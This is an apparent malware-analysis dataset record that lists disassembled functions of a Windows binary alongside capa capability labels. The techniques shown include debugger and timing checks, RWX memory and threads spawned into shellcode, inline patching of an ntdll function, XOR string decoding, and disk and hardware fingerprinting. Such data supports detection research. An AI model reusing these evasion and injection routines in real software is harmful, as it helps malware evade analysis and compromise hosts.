joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000c7d0
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100122f8
mov eax, dword fs:[0]
push eax
sub esp, 0x20
mov eax, dword [0x1001800c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [0x1012505c]
cmp eax, 0x927c0
jb 0x1000c813
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x1012505c], eax
push 0
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x2c], 1
push eax
lea eax, [ebp - 0x10]
mov dword [ebp - 0x28], 0
push eax
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0
call dword [sym.imp.gdiplus.dll_GdiplusStartup]
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
push 0x14
lea eax, [ebp - 0x1c]
mov dword [ebp - 4], 0
push eax
call fcn.1000bef0
test al, al
jne 0x1000c872
mov eax, dword [ebp - 0x1c]
cmp eax, dword [ebp - 0x18]
jne 0x1000c88f
lea eax, [ebp - 0x1c]
push eax
call fcn.1000c8b0
cmp dword [0x10124fc8], 0
je 0x1000c88f
push 0x32
lea eax, [ebp - 0x1c]
push eax
call fcn.1000bef0
push dword [ebp - 0x10]
call dword [sym.imp.gdiplus.dll_GdiplusShutdown]
lea ecx, [ebp - 0x1c]
call fcn.1000c460
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
ret
Function at 0x1000c8b0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
mov eax, 0x4058
call fcn.10012100
mov eax, dword [0x1001800c]
xor eax, esp
mov dword [esp + 0x4054], eax
push esi
push edi
mov edi, dword [ebp + 8]
xor esi, esi
mov dword [esp + 0x14], edi
mov dword [esp + 0x18], 0
mov eax, dword [edi + 4]
sub eax, dword [edi]
je 0x1000ca31
nop dword [eax]
mov ecx, dword [0x10125bec]
test ecx, ecx
jne 0x1000c908
xorps xmm0, xmm0
mov word [esp + 0x2d], cx
mov byte [esp + 0x2f], cl
jmp 0x1000c91c
mov ax, word [ecx + 8]
movq xmm0, qword [ecx]
mov word [esp + 0x2d], ax
mov al, byte [ecx + 0xa]
mov byte [esp + 0x2f], al
mov eax, dword [0x10125be8]
movq qword [esp + 0x25], xmm0
mov byte [esp + 0x20], 0xc2
mov ecx, dword [eax]
mov ax, word [ecx + 8]
movq xmm0, qword [ecx]
mov word [esp + 0x38], ax
mov al, byte [ecx + 0xa]
movq qword [esp + 0x30], xmm0
mov byte [esp + 0x3a], al
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
and eax, 0x800000ff
jns 0x1000c95c
dec eax
or eax, 0xffffff00
inc eax
mov ecx, dword [esp + 0x14]
xor edx, edx
mov edi, dword [edi + 4]
mov byte [esp + 0x23], al
mov eax, 0x28
mov dword [esp + 0x10], eax
mov ecx, dword [ecx]
mov eax, dword [esp + 0x14]
mov dword [esp + 0x1c], ecx
mov ecx, edi
mov byte [esp + 0x24], 0x14
mov dword [esp + 0x3c], edx
sub ecx, dword [eax]
mov eax, dword [esp + 0x18]
mov dword [esp + 0x44], eax
inc eax
mov dword [esp + 0x40], ecx
mov ecx, dword [esp + 0x1c]
sub edi, ecx
mov dword [esp + 0x18], eax
mov eax, dword [esp + 0x10]
cmp esi, edi
jae 0x1000c9bd
mov cl, byte [ecx + esi]
inc edx
mov byte [esp + eax + 0x58], cl
inc esi
mov ecx, dword [esp + 0x1c]
inc eax
cmp eax, 0x3ff6
jl 0x1000c9a4
mov ecx, eax
mov byte [esp + 0x22], al
shr ecx, 8
cmp dword [0x1011af48], 0
mov byte [esp + 0x21], cl
movups xmm0, xmmword [esp + 0x20]
mov dword [esp + 0x3c], edx
mov dword [esp + 0x10], eax
movups xmmword [esp + 0x58], xmm0
movups xmm0, xmmword [esp + 0x30]
movups xmmword [esp + 0x68], xmm0
movq xmm0, qword [esp + 0x40]
movq qword [esp + 0x78], xmm0
jle 0x1000ca15
nop dword [eax + eax]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [0x1011af48], 0
jg 0x1000ca00
mov eax, dword [esp + 0x10]
push eax
lea eax, [esp + 0x5c]
push eax
call fcn.10003d00
mov edi, dword [esp + 0x14]
mov eax, dword [edi + 4]
sub eax, dword [edi]
cmp esi, eax
jb 0x1000c8f0
mov ecx, dword [esp + 0x405c]
pop edi
pop esi
xor ecx, esp
call fcn.10010f8a
mov esp, ebp
pop ebp
ret 4

Function at 0x1000ca70
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push 0x40
push 0x100
push 0x10125c90
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [ebp + 8]
push 0x100
add eax, 5
push eax
push 0x10125c90
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push 0x100
push 0x10125c90
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 0
push 0
push 0
push 0x1000ca50
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esp, ebp
pop ebp
ret 4
Function at 0x1000cae0
Capabilities:
Get memory capacity

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xe4
mov eax, dword [0x1001800c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x94
lea eax, [ebp - 0xe0]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [ebp - 0xe0], 0x94
lea eax, [ebp - 0xe0]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
lea eax, [ebp - 0x48]
mov dword [ebp - 0x48], 0x40
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov esi, dword [ebp - 0x40]
mov ecx, esi
mov edx, dword [ebp - 0x3c]
mov eax, edx
shrd ecx, eax, 0x14
shr eax, 0x14
sub esi, dword [ebp - 0x38]
push ecx
sbb edx, dword [ebp - 0x34]
mov ecx, 0x1001ad28
shrd esi, edx, 0x14
push esi
push dword [ebp - 0xd4]
shr edx, 0x14
push dword [ebp - 0xd8]
push dword [ebp - 0xdc]
push str.PREMIUM
call fcn.1000fb90
push eax
push 0
push 0x1011b140
call fcn.10008a00
mov ecx, dword [ebp - 4]
add esp, 0x24
xor ecx, ebp
pop esi
call fcn.10010f8a
mov esp, ebp
pop ebp
ret
Function at 0x1000cba0
Capabilities:
Get storage device properties

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x100161e0
push 0x100118a1
mov eax, dword fs:[0]
push eax
sub esp, 0x134
mov eax, dword [0x1001800c]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x1c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
mov dword [ebp - 0x13c], edx
push ecx
push str..PhysicalDrive_d
lea eax, [ebp - 0x120]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0
push 0
push 3
push 0
push 3
push 0
lea eax, [ebp - 0x120]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
mov dword [ebp - 0x140], esi
cmp esi, 0xffffffff
je 0x1000cd50
xorps xmm0, xmm0
movq qword [ebp - 0x12c], xmm0
mov dword [ebp - 0x124], 0
movq qword [ebp - 0x134], xmm0
mov dword [ebp - 0x12c], 0
mov dword [ebp - 0x128], 0
push 0
lea eax, [ebp - 0x138]
push eax
push 8
lea eax, [ebp - 0x134]
push eax
push 0xc
lea eax, [ebp - 0x12c]
push eax
push 0x2d1400
push esi
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
jne 0x1000cc87
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1000cd50
push dword [ebp - 0x130]
call fcn.100112f1
mov edi, eax
mov dword [ebp - 0x144], edi
push dword [ebp - 0x130]
push 0
push edi
call sub.VCRUNTIME140.dll_memset
add esp, 0x10
push 0
lea eax, [ebp - 0x138]
push eax
push dword [ebp - 0x130]
push edi
push 0xc
lea eax, [ebp - 0x12c]
push eax
push 0x2d1400
push esi
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
jne 0x1000cce6
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call fcn.100112ec
add esp, 4
jmp 0x1000cd50
mov eax, dword [edi + 0x18]
test eax, eax
je 0x1000ccd4
mov dword [ebp - 4], 0
add eax, edi
push eax
push 0x100
push dword [ebp - 0x13c]
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call fcn.100112ec
add esp, 4
mov dword [ebp - 4], 0xfffffffe
mov al, 1
jmp 0x1000cd52
xor al, al
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.10010f8a
mov esp, ebp
pop ebp
ret
Function at 0x1000d100
Capabilities:
Check for peb beingdebugged flag

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10012358
mov eax, dword fs:[0]
push eax
sub esp, 0x18
push ebx
push esi
mov eax, dword [0x1001800c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], 0
mov eax, dword fs:[0x30]
movzx ecx, byte ds:[eax + 2]
mov dword [ebp - 0x10], ecx
cmp dword [ebp - 0x10], 0
je 0x1000d164
xor edx, edx
push 0
lea ecx, [edx + 0xa]
call fcn.10005780
add esp, 4
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov dword [ebp - 0x20], vtable.CProcessQuery.0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
push 2
push 0x23
lea ecx, [ebp - 0x20]
mov dword [ebp - 4], 0
call fcn.1000b880
mov esi, dword [ebp - 0x1c]
test al, al
je 0x1000d1dd
test esi, esi
je 0x1000d1f1
cmp byte [esi], 0
je 0x1000d1dd
cmp byte [esi + 1], 0
jne 0x1000d1dd
xor edx, edx
push 0
lea ecx, [edx + 0xa]
call fcn.10005780
add esp, 4
xor bl, bl
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov al, bl
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
test esi, esi
je 0x1000d1f1
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov bl, 1
mov al, bl
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1000d700
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push edi
push 0x10014774
push str.Ntdll.dll
mov dword [ebp - 0xc], 0x304e25ff
mov word [ebp - 8], 0x501a
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
test edi, edi
jne 0x1000d738
xor al, al
pop edi
mov esp, ebp
pop ebp
ret
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 4]
push eax
push 0x40
push 6
push 0x10125d90
call esi
mov eax, dword [edi]
mov dword [0x10125d90], eax
movzx eax, word [edi + 4]
mov word [0x10125d94], ax
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push 6
push 0x10125d90
call esi
lea eax, [ebp - 4]
push eax
push 0x40
push 6
push edi
call esi
mov eax, dword [ebp - 0xc]
mov dword [edi], eax
movzx eax, word [ebp - 8]
mov word [edi + 4], ax
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push 6
push edi
call esi
pop esi
mov al, 1
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x1000d7a0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
push 0x10014774
push str.Ntdll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
test edi, edi
jne 0x1000d7c9
xor al, al
pop edi
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 4]
push eax
push 0x40
push 6
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [0x10125d90]
mov dword [edi], eax
mov ax, word [0x10125d94]
mov word [edi + 4], ax
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push 6
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov al, 1
pop edi
mov esp, ebp
pop ebp
ret

Function at 0x1000d800
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x42c
mov eax, dword [0x1001800c]
xor eax, ebp
mov dword [ebp - 4], eax
lea ecx, [ebp - 0x404]
call fcn.10003430
push 0xc
lea eax, [ebp - 0x41c]
mov dword [ebp - 0x414], 0
push eax
xorps xmm0, xmm0
push 0
movq qword [ebp - 0x41c], xmm0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.PSAPI.DLL_GetModuleInformation]
test eax, eax
jne 0x1000d866
xor al, al
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10010f8a
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x41c]
xor ecx, ecx
push esi
mov esi, dword [eax + 0x3c]
cmp cx, word [esi + eax + 6]
jae 0x1000d8f8
push ebx
mov ebx, dword [esi + eax + 0x104]
or edx, 0xffffffff
mov esi, dword [esi + eax + 0x100]
add ebx, eax
mov dword [ebp - 0x410], ebx
mov dword [ebp - 0x40c], esi
push edi
mov edi, ebx
test esi, esi
je 0x1000d8ba
movzx eax, byte [edi]
lea edi, [edi + 1]
movzx ecx, dl
xor ecx, eax
shr edx, 8
xor edx, dword [ebp + ecx*4 - 0x404]
sub esi, 1
jne 0x1000d8a0
movq xmm0, qword [ebp - 0x410]
lea eax, [ebp - 0x42c]
not edx
mov dword [ebp - 0x42c], ebx
push eax
movq qword [ebp - 0x428], xmm0
mov dword [ebp - 0x420], edx
call fcn.1000e820
push eax
add eax, 0x10
push eax
push ecx
lea eax, [ebp - 0x40c]
push eax
call fcn.1000e860
pop edi
pop ebx
mov ecx, dword [ebp - 4]
mov al, 1
xor ecx, ebp
pop esi
call fcn.10010f8a
mov esp, ebp
pop ebp
ret
Function at 0x1000d910
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40c
mov eax, dword [0x1001800c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
lea ecx, [ebp - 0x408]
call fcn.10003430
mov edx, dword [0x1012602c]
mov eax, dword [edx]
cmp eax, edx
je 0x1000d9bb
nop dword [eax]
mov esi, dword [eax + 0x18]
or ebx, 0xffffffff
mov edi, dword [eax + 0x14]
test esi, esi
je 0x1000d970
nop dword [eax]
movzx ecx, byte [edi]
lea edi, [edi + 1]
movzx edx, bl
xor edx, ecx
shr ebx, 8
xor ebx, dword [ebp + edx*4 - 0x408]
sub esi, 1
jne 0x1000d950
mov edx, dword [0x1012602c]
not ebx
cmp dword [eax + 0x1c], ebx
jne 0x1000d9ce
cmp byte [eax + 0xd], 0
jne 0x1000d9b7
mov ecx, dword [eax + 8]
cmp byte [ecx + 0xd], 0
jne 0x1000d99c
mov eax, ecx
mov ecx, dword [eax]
cmp byte [ecx + 0xd], 0
jne 0x1000d9b7
mov eax, ecx
mov ecx, dword [eax]
cmp byte [ecx + 0xd], 0
je 0x1000d990
jmp 0x1000d9b7
mov ecx, dword [eax + 4]
cmp byte [ecx + 0xd], 0
jne 0x1000d9b5
cmp eax, dword [ecx + 8]
jne 0x1000d9b5
mov eax, ecx
mov ecx, dword [ecx + 4]
cmp byte [ecx + 0xd], 0
je 0x1000d9a5
mov eax, ecx
cmp eax, edx
jne 0x1000d940
mov al, 1
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10010f8a
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor al, al
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10010f8a
mov esp, ebp
pop ebp
ret

Function at 0x1000f430
Capabilities:
Check for time delay via gettickcount

Disassembly:
cmp byte [0x1012603c], 0
je 0x1000f4a4
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [0x10126040]
cmp eax, 0x1388
jbe 0x1000f4a4
push 0x1012606c
call dword [sym.imp.KERNEL32.dll_TryEnterCriticalSection]
test eax, eax
je 0x1000f4a4
call fcn.100033d0
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x10126040], eax
test eax, eax
je 0x1000f499
call fcn.1000f380
test al, al
jne 0x1000f499
push 0x1388
push 0
call fcn.100091d0
push eax
push ecx
mov edx, 2
mov ecx, 0x101252b0
call fcn.1000fa00
add esp, 0xc
ret
push 0x1012606c
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
ret

Function at 0x1000f500
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ebx, ecx
push edi
mov dword [ebp - 4], edx
call esi
mov edi, eax
mov dword [ebp - 8], edi
call esi
sub eax, edi
cmp eax, ebx
jae 0x1000f53e
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
nop dword [eax]
push dword [ebp - 4]
call edi
call esi
sub eax, dword [ebp - 8]
cmp eax, ebx
jb 0x1000f530
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000f550
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10012466
mov eax, dword fs:[0]
push eax
sub esp, 0x650
mov eax, dword [0x1001800c]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x658], edx
mov ebx, ecx
mov eax, dword [0x10014f68]
mov dword [ebp - 0x1c], eax
mov ax, word [0x10014f6c]
mov word [ebp - 0x18], ax
lea eax, [ebp - 0x624]
push eax
push 0x3ff
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
test eax, eax
je 0x1000f6a9
lea esi, [ebp - 0x624]
nop dword [eax + eax]
mov ax, word [esi]
mov word [ebp - 0x1c], ax
lea eax, [ebp - 0x224]
push 0x104
push eax
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
test eax, eax
je 0x1000f695
xor eax, eax
mov dword [ebp - 0x628], 7
mov dword [ebp - 0x62c], 0
mov word [ebp - 0x63c], ax
cmp word [ebx], ax
jne 0x1000f60b
xor ecx, ecx
jmp 0x1000f61f
mov ecx, ebx
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x1000f610
sub ecx, edx
sar ecx, 1
push ecx
push ebx
lea ecx, [ebp - 0x63c]
call fcn.10010a30
mov dword [ebp - 4], 0
cmp word [ebp - 0x224], 0
jne 0x1000f641
xor ecx, ecx
jmp 0x1000f65f
lea ecx, [ebp - 0x224]
lea edx, [ecx + 2]
nop word [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x1000f650
sub ecx, edx
sar ecx, 1
push ecx
push ecx
lea eax, [ebp - 0x224]
push eax
lea ecx, [ebp - 0x63c]
call fcn.1000ff90
mov edi, eax
cmp edi, 0xffffffff
jne 0x1000f6c7
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x628]
cmp eax, 8
jb 0x1000f695
inc eax
push eax
push dword [ebp - 0x63c]
call fcn.100108d0
mov ax, word [esi]
add esi, 2
test ax, ax
jne 0x1000f695
cmp word [esi], ax
jne 0x1000f5c0
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.10010f8a
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x224]
push eax
lea ecx, [ebp - 0x654]
call fcn.10010b30
mov byte [ebp - 4], 1
cmp word [esi], 0
mov ebx, dword [eax + 0x10]
jne 0x1000f6ea
xor ecx, ecx
jmp 0x1000f6ff
mov ecx, esi
lea edx, [ecx + 2]
nop
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x1000f6f0
sub ecx, edx
sar ecx, 1
push ecx
push esi
lea eax, [ebx + 1]
push eax
push edi
lea ecx, [ebp - 0x63c]
call fcn.10010070
mov eax, dword [ebp - 0x640]
cmp eax, 8
jb 0x1000f729
inc eax
push eax
push dword [ebp - 0x654]
call fcn.100108d0
cmp dword [ebp - 0x628], 8
lea eax, [ebp - 0x63c]
cmovae eax, dword [ebp - 0x63c]
push eax
push 0x104
push dword [ebp - 0x658]
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscpy_s]
mov eax, dword [ebp - 0x628]
add esp, 0xc
cmp eax, 8
jb 0x1000f76a
inc eax
push eax
push dword [ebp - 0x63c]
call fcn.100108d0
mov al, 1
jmp 0x1000f6ab
Function at 0x1000f830
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
mov bl, byte [ebp + 8]
movsx eax, bl
push esi
mov esi, ecx
movd xmm0, eax
xor eax, eax
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
pshufd xmm2, xmm0, 0
test edx, edx
jle 0x1000f8c0
cmp edx, 0x20
jb 0x1000f8ab
mov ecx, edx
push edi
and ecx, 0x8000001f
jns 0x1000f869
dec ecx
or ecx, 0xffffffe0
inc ecx
movaps xmm1, xmmword [0x10014fe0]
mov edi, edx
sub edi, ecx
lea ecx, [esi + 0x10]
nop word [eax + eax]
movups xmm0, xmmword [ecx - 0x10]
add eax, 0x20
lea ecx, [ecx + 0x20]
paddb xmm0, xmm2
pxor xmm0, xmm1
movups xmmword [ecx - 0x30], xmm0
movups xmm0, xmmword [ecx - 0x20]
paddb xmm0, xmm2
pxor xmm0, xmm1
movups xmmword [ecx - 0x20], xmm0
cmp eax, edi
jl 0x1000f880
pop edi
cmp eax, edx
jge 0x1000f8c0
nop
mov cl, byte [eax + esi]
add cl, bl
xor cl, 0xa0
mov byte [eax + esi], cl
inc eax
cmp eax, edx
jl 0x1000f8b0
pop esi
pop ebx
pop ebp
ret

Function at 0x1000f8d0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
mov bl, byte [ebp + 8]
movsx eax, bl
push esi
mov esi, ecx
movd xmm0, eax
xor eax, eax
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
pshufd xmm2, xmm0, 0
test edx, edx
jle 0x1000f960
cmp edx, 0x20
jb 0x1000f94b
mov ecx, edx
push edi
and ecx, 0x8000001f
jns 0x1000f909
dec ecx
or ecx, 0xffffffe0
inc ecx
movaps xmm1, xmmword [0x10014fe0]
mov edi, edx
sub edi, ecx
lea ecx, [esi + 0x10]
nop word [eax + eax]
movups xmm0, xmmword [ecx - 0x10]
add eax, 0x20
lea ecx, [ecx + 0x20]
pxor xmm0, xmm1
psubb xmm0, xmm2
movups xmmword [ecx - 0x30], xmm0
movups xmm0, xmmword [ecx - 0x20]
pxor xmm0, xmm1
psubb xmm0, xmm2
movups xmmword [ecx - 0x20], xmm0
cmp eax, edi
jl 0x1000f920
pop edi
cmp eax, edx
jge 0x1000f960
nop
mov cl, byte [eax + esi]
xor cl, 0xa0
sub cl, bl
mov byte [eax + esi], cl
inc eax
cmp eax, edx
jl 0x1000f950
pop esi
pop ebx
pop ebp
ret
Function at 0x1000fa00
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push dword [ebp + 0xc]
mov eax, edx
mov esi, ecx
push 1
push eax
mov ecx, 0x1001ae28
mov dword [ebp - 4], eax
call fcn.1000fb90
push eax
push 0
push 0x1011b140
call fcn.10008a00
mov eax, dword [0x10125064]
add esp, 0x18
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, dword [sym.imp.USER32.dll_UnregisterClassA]
test eax, eax
je 0x1000fa66
push 0
push 0
push 0x10
push eax
call edi
push dword [0x10125c84]
mov dword [0x10125064], 0
push dword [0x1012507c]
call ebx
mov eax, dword [0x1012518c]
test eax, eax
je 0x1000fa90
push 0
push 0
push 0x10
push eax
call edi
push dword [0x10125c84]
mov dword [0x1012518c], 0
push dword [0x101251a4]
call ebx
mov eax, dword [0x101252b4]
test eax, eax
je 0x1000faba
push 0
push 0
push 0x10
push eax
call edi
push dword [0x10125c84]
mov dword [0x101252b4], 0
push dword [0x101252cc]
call ebx
mov eax, dword [ebp - 4]
sub eax, 0
je 0x1000faec
sub eax, 1
je 0x1000fae0
sub eax, 1
jne 0x1000fad8
mov eax, 0x6a
mov ecx, 0x2b39c0
jmp 0x1000faf6
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0x10]
jmp 0x1000faf6
mov eax, 0x69
mov ecx, 0x227ee6
jmp 0x1000faf6
mov eax, 0x67
mov ecx, 0xf1f0ec
push ecx
push dword [ebp + 0xc]
mov ecx, esi
sub esp, 0xc
push eax
call fcn.1000eff0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0
push 0
push esi
push 0x1000f970
push 0
push 0
mov dword [esi + 8], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xffffffffffffffff
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp + 0x10]
test eax, eax
jle 0x1000fb5b
push eax
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [ebp - 4], 0
je 0x1000fb5b
mov eax, dword [esi + 4]
test eax, eax
je 0x1000fb7d
jmp 0x1000fb62
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0
push 0
push 0x10
push eax
call edi
push dword [0x10125c84]
mov dword [esi + 4], 0
push dword [esi + 0x1c]
call ebx
call fcn.1000f4b0
int3

Function at 0x1000fb90
Capabilities:
Encode data using xor

Disassembly:
push esi
push 0x100
push 0
push 0x101263b0
mov esi, ecx
call sub.VCRUNTIME140.dll_memset
lea eax, [esi + 0xff]
add esp, 0xc
xor ecx, ecx
cmp eax, 0x101263b0
jb 0x1000fbe5
cmp esi, 0x101264af
ja 0x1000fbe5
sub esi, 0x101263b0
mov al, byte [esi + ecx + 0x101263b0]
sub al, 0x1b
xor al, 0xc
mov byte [ecx + 0x101263b0], al
inc ecx
cmp ecx, 0x100
jl 0x1000fbc4
mov eax, 0x101263b0
pop esi
ret
movaps xmm1, xmmword [0x10014fd0]
mov ecx, 0x101263b0
movaps xmm2, xmmword [str._f_f_f_f_f_f_f_f_f_f_f_f_f_f_f_feeeeeeeeeeeeeeee]
mov edx, 0x101263c0
sub ecx, esi
mov eax, 8
sub edx, esi
nop word [eax + eax]
lea esi, [esi + 0x20]
movups xmm0, xmmword [esi - 0x20]
psubb xmm0, xmm1
pxor xmm0, xmm2
movups xmmword [ecx + esi - 0x20], xmm0
movups xmm0, xmmword [esi - 0x10]
psubb xmm0, xmm1
pxor xmm0, xmm2
movups xmmword [edx + esi - 0x20], xmm0
sub eax, 1
jne 0x1000fc10
mov eax, 0x101263b0
pop esi
ret